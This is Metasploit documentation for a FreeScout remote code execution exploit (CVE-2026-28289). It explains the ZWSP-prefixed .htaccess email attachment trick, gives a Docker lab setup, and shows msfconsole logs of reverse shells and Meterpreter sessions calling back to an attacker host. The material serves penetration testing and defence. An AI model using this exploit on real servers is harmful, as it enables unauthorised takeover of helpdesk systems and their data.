Back to Metasploit Framework

Freescout Htaccess Rce

documentation/modules/exploit/multi/http/freescout_htaccess_rce.md

6.4.13111.6 KB
Original Source

Vulnerable Application

This module exploits an unauthenticated remote code execution vulnerability in FreeScout <= 1.8.206 (CVE-2026-28289). The sanitizeUploadedFileName() function checks for dot-prefixed filenames before stripping Unicode format characters (ZWSP U+200B), creating a TOCTOU condition that allows .htaccess upload via email attachment.

The exploit sends a crafted email with a ZWSP-prefixed .htaccess attachment to a FreeScout mailbox. When FreeScout fetches the email via IMAP/POP3 polling, the ZWSP is stripped and the file is stored as .htaccess. The file uses Apache's SetHandler directive to make itself executable as PHP.

Docker Setup

bash
mkdir freescout-lab && cd freescout-lab

Create mailpit-auth.txt:

[email protected]:password

Create docker-compose.yml:

yaml
services:
  app:
    build:
      context: .
      args:
        FREESCOUT_VERSION: "1.8.206"
    container_name: freescout-lab
    ports:
      - "8889:80"
    depends_on:
      db:
        condition: service_healthy
      mail:
        condition: service_started

  db:
    image: mariadb:10.11
    container_name: freescout-db
    environment:
      MYSQL_DATABASE: freescout
      MYSQL_USER: freescout
      MYSQL_PASSWORD: freescout
      MYSQL_ROOT_PASSWORD: root
    healthcheck:
      test: ["CMD", "healthcheck.sh", "--connect", "--innodb_initialized"]
      interval: 5s
      timeout: 3s
      retries: 10

  mail:
    image: axllent/mailpit:latest
    container_name: freescout-mail
    ports:
      - "8025:8025"
      - "1026:1025"
    volumes:
      - ./mailpit-auth.txt:/auth.txt:ro
    environment:
      MP_SMTP_AUTH_ACCEPT_ANY: 1
      MP_SMTP_AUTH_ALLOW_INSECURE: 1
      MP_POP3_AUTH_FILE: /auth.txt

Create Dockerfile:

dockerfile
FROM php:8.1-apache

ARG FREESCOUT_VERSION=1.8.206

RUN apt-get update && apt-get install -y \
    libpng-dev libjpeg-dev libfreetype6-dev libzip-dev libicu-dev \
    libxml2-dev libonig-dev unzip git curl default-mysql-client cron \
    && docker-php-ext-configure gd --with-freetype --with-jpeg \
    && docker-php-ext-install gd zip intl mbstring xml pdo pdo_mysql bcmath iconv \
    && a2enmod rewrite \
    && rm -rf /var/lib/apt/lists/*

WORKDIR /tmp
RUN rm -rf /var/www/html && git clone --depth 1 --branch ${FREESCOUT_VERSION} \
    https://github.com/freescout-helpdesk/freescout.git /var/www/html
WORKDIR /var/www/html

RUN chown -R www-data:www-data /var/www/html \
    && chmod -R 755 /var/www/html/storage /var/www/html/bootstrap/cache

RUN sed -i 's/AllowOverride None/AllowOverride All/g' /etc/apache2/apache2.conf
ENV APACHE_DOCUMENT_ROOT=/var/www/html/public
RUN sed -ri 's!/var/www/html!${APACHE_DOCUMENT_ROOT}!g' /etc/apache2/sites-available/*.conf

COPY docker-entrypoint.sh /usr/local/bin/
RUN chmod +x /usr/local/bin/docker-entrypoint.sh

ENTRYPOINT ["docker-entrypoint.sh"]
CMD ["apache2-foreground"]

Create docker-entrypoint.sh:

bash
#!/bin/bash
set -e

echo "[*] Waiting for MySQL..."
until php -r "new PDO('mysql:host=db;dbname=freescout', 'freescout', 'freescout');" 2>/dev/null; do
    sleep 2
done

if [ ! -f /var/www/html/.env ]; then
    echo "[*] Creating .env..."
    cat > /var/www/html/.env << 'EOF'
APP_URL=http://localhost:8889
APP_KEY=base64:RDsOPJLEGKDP8BPkWmgbAgDrT3VGhns1MiCPSKGBpMo=
DB_CONNECTION=mysql
DB_HOST=db
DB_PORT=3306
DB_DATABASE=freescout
DB_USERNAME=freescout
DB_PASSWORD=freescout
APP_DEBUG=true
EOF
    chown www-data:www-data /var/www/html/.env
fi

echo "[*] Running migrations..."
cd /var/www/html
php artisan migrate --force --seed 2>/dev/null || php artisan migrate --force

echo "[*] Creating storage link..."
rm -f /var/www/html/public/storage
ln -s /var/www/html/storage/app /var/www/html/public/storage

echo "[*] Creating admin user and mailbox..."
php -r "
require '/var/www/html/vendor/autoload.php';
\$app = require_once '/var/www/html/bootstrap/app.php';
\$kernel = \$app->make(Illuminate\Contracts\Console\Kernel::class);
\$kernel->bootstrap();

\$u = App\User::firstOrNew(['email' => '[email protected]']);
\$u->fill([
    'first_name' => 'Admin',
    'last_name'  => 'User',
    'password'   => bcrypt('admin123'),
    'role'       => App\User::ROLE_ADMIN,
    'status'     => App\User::STATUS_ACTIVE,
]);
\$u->save();
echo \"[+] Admin user ready\n\";

\$m = App\Mailbox::firstOrNew(['email' => '[email protected]']);
\$m->name = 'Support';
\$m->email = '[email protected]';
\$m->in_server = 'mail';
\$m->in_port = 1110;
\$m->in_protocol = 2;
\$m->in_encryption = 1;
\$m->in_username = '[email protected]';
\$m->in_password = 'password';
\$m->in_validate_cert = 0;
\$m->ticket_status = 1;
\$m->ticket_assignee = 1;
\$m->out_method = 3;
\$m->out_server = 'mail';
\$m->out_port = 1025;
\$m->out_username = '';
\$m->out_password = '';
\$m->out_encryption = 1;
\$m->save();

try {
    \$m->users()->syncWithoutDetaching([\$u->id]);
} catch (Exception \$e) {}

echo \"[+] Mailbox ready: [email protected] (POP3 from mail:1110)\n\";
"

php artisan freescout:clear-cache 2>/dev/null || true
chown -R www-data:www-data /var/www/html/storage

echo "* * * * * www-data /usr/local/bin/php /var/www/html/artisan schedule:run >> /dev/null 2>&1" > /etc/cron.d/freescout
chmod 0644 /etc/cron.d/freescout
service cron start

echo "[+] FreeScout lab ready at http://localhost:8889"
echo "[+] Mailpit UI at http://localhost:8025"
echo "[+] SMTP: localhost:1026 | POP3: mail:1110"
echo "[+] Mailbox: [email protected]"
exec "$@"
bash
chmod +x docker-entrypoint.sh
docker compose up -d

Wait about 60 seconds for migrations, admin user creation, and mailbox setup.

Verification Steps

  1. Start msfconsole
  2. use exploit/multi/http/freescout_htaccess_rce
  3. set RHOST 127.0.0.1 (SMTP server)
  4. set RPORT 1026 (SMTP port)
  5. set HTTPHOST 127.0.0.1 (FreeScout web server)
  6. set HTTPPORT 8889 (FreeScout web port)
  7. set MAILTO [email protected]
  8. set LHOST <your-ip>
  9. check - verify it returns Detected
  10. run - verify a session opens (may take up to 60s for email fetch)

Options

MAILTO

The FreeScout mailbox email address to send the exploit email to. This must be a valid, configured mailbox in the target FreeScout instance.

RHOST / RPORT

The SMTP server and port used to deliver the exploit email. These come from the SMTPDeliver mixin (note: singular RHOST, not RHOSTS). This can be the target's own MX server, or any relay that delivers to the mailbox.

HTTPHOST / HTTPPORT

The FreeScout web server address and port. Used for the check method and to find the uploaded shell. Separate from RHOST because the SMTP and HTTP targets may be different hosts. Set SSL true for HTTPS targets. The module reads the server Date header to calculate when the next cron cycle will fetch the email.

FETCH_WAIT (Advanced)

Seconds to wait for the cron fetch cycle. Default is 60 (FreeScout polls every minute). The module uses the server Date header to calculate the exact wait time; this value is the fallback when the header is absent.

DIR_COUNTER (Advanced)

Max attachment counter per directory to scan. Default is 3. On production instances with many conversations per mailbox, attachments may have higher counter values. Increase this if the module fails to find the shell.

Scenarios

FreeScout 1.8.206 - PHP Meterpreter (Target 0)

msf6 > use exploit/multi/http/freescout_htaccess_rce
msf6 exploit(multi/http/freescout_htaccess_rce) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf6 exploit(multi/http/freescout_htaccess_rce) > set RPORT 1026
RPORT => 1026
msf6 exploit(multi/http/freescout_htaccess_rce) > set HTTPHOST 127.0.0.1
HTTPHOST => 127.0.0.1
msf6 exploit(multi/http/freescout_htaccess_rce) > set HTTPPORT 8889
HTTPPORT => 8889
msf6 exploit(multi/http/freescout_htaccess_rce) > set MAILTO [email protected]
MAILTO => [email protected]
msf6 exploit(multi/http/freescout_htaccess_rce) > set LHOST 192.168.192.1
LHOST => 192.168.192.1
msf6 exploit(multi/http/freescout_htaccess_rce) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
msf6 exploit(multi/http/freescout_htaccess_rce) > run

[*] Started reverse TCP handler on 192.168.192.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated. FreeScout detected. Version cannot be determined remotely.
[*] Sending exploit email to [email protected] via 127.0.0.1:1026
[+] Exploit email sent
[*] Waiting 15s for next cron fetch cycle...
[+] Shell at /storage/attachment/5/1/1/.htaccess
[*] Sending stage (42137 bytes) to 192.168.192.4
[*] Meterpreter session 1 opened (192.168.192.1:4444 -> 192.168.192.4:50250) at 2026-03-05 17:37:11 +0100

meterpreter >

FreeScout 1.8.206 - Reverse Bash Shell (Target 1)

msf6 > use exploit/multi/http/freescout_htaccess_rce
msf6 exploit(multi/http/freescout_htaccess_rce) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf6 exploit(multi/http/freescout_htaccess_rce) > set RPORT 1026
RPORT => 1026
msf6 exploit(multi/http/freescout_htaccess_rce) > set HTTPHOST 127.0.0.1
HTTPHOST => 127.0.0.1
msf6 exploit(multi/http/freescout_htaccess_rce) > set HTTPPORT 8889
HTTPPORT => 8889
msf6 exploit(multi/http/freescout_htaccess_rce) > set MAILTO [email protected]
MAILTO => [email protected]
msf6 exploit(multi/http/freescout_htaccess_rce) > set LHOST 192.168.192.1
LHOST => 192.168.192.1
msf6 exploit(multi/http/freescout_htaccess_rce) > set TARGET 1
TARGET => 1
msf6 exploit(multi/http/freescout_htaccess_rce) > set PAYLOAD cmd/unix/reverse_bash
PAYLOAD => cmd/unix/reverse_bash
msf6 exploit(multi/http/freescout_htaccess_rce) > run

[*] Started reverse TCP handler on 192.168.192.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated. FreeScout detected. Version cannot be determined remotely.
[*] Sending exploit email to [email protected] via 127.0.0.1:1026
[+] Exploit email sent
[*] Waiting 13s for next cron fetch cycle...
[+] Shell at /storage/attachment/9/3/1/.htaccess
[*] Command shell session 2 opened (192.168.192.1:4444 -> 192.168.192.4:41830) at 2026-03-05 17:42:35 +0100

sh-5.2$

FreeScout 1.8.206 - Linux Dropper Meterpreter (Target 2)

msf6 > use exploit/multi/http/freescout_htaccess_rce
msf6 exploit(multi/http/freescout_htaccess_rce) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf6 exploit(multi/http/freescout_htaccess_rce) > set RPORT 1026
RPORT => 1026
msf6 exploit(multi/http/freescout_htaccess_rce) > set HTTPHOST 127.0.0.1
HTTPHOST => 127.0.0.1
msf6 exploit(multi/http/freescout_htaccess_rce) > set HTTPPORT 8889
HTTPPORT => 8889
msf6 exploit(multi/http/freescout_htaccess_rce) > set MAILTO [email protected]
MAILTO => [email protected]
msf6 exploit(multi/http/freescout_htaccess_rce) > set LHOST 192.168.192.1
LHOST => 192.168.192.1
msf6 exploit(multi/http/freescout_htaccess_rce) > set TARGET 2
TARGET => 2
msf6 exploit(multi/http/freescout_htaccess_rce) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
PAYLOAD => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/freescout_htaccess_rce) > run

[*] Started reverse TCP handler on 192.168.192.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated. FreeScout detected. Version cannot be determined remotely.
[*] Sending exploit email to [email protected] via 127.0.0.1:1026
[+] Exploit email sent
[*] Waiting 24s for next cron fetch cycle...
[+] Shell at /storage/attachment/7/4/1/.htaccess
[*] Command Stager progress - 100.00% done (817/817 bytes)
[*] Meterpreter session 3 opened (192.168.192.1:4444 -> 192.168.192.4:52100) at 2026-03-05 17:48:02 +0100

meterpreter >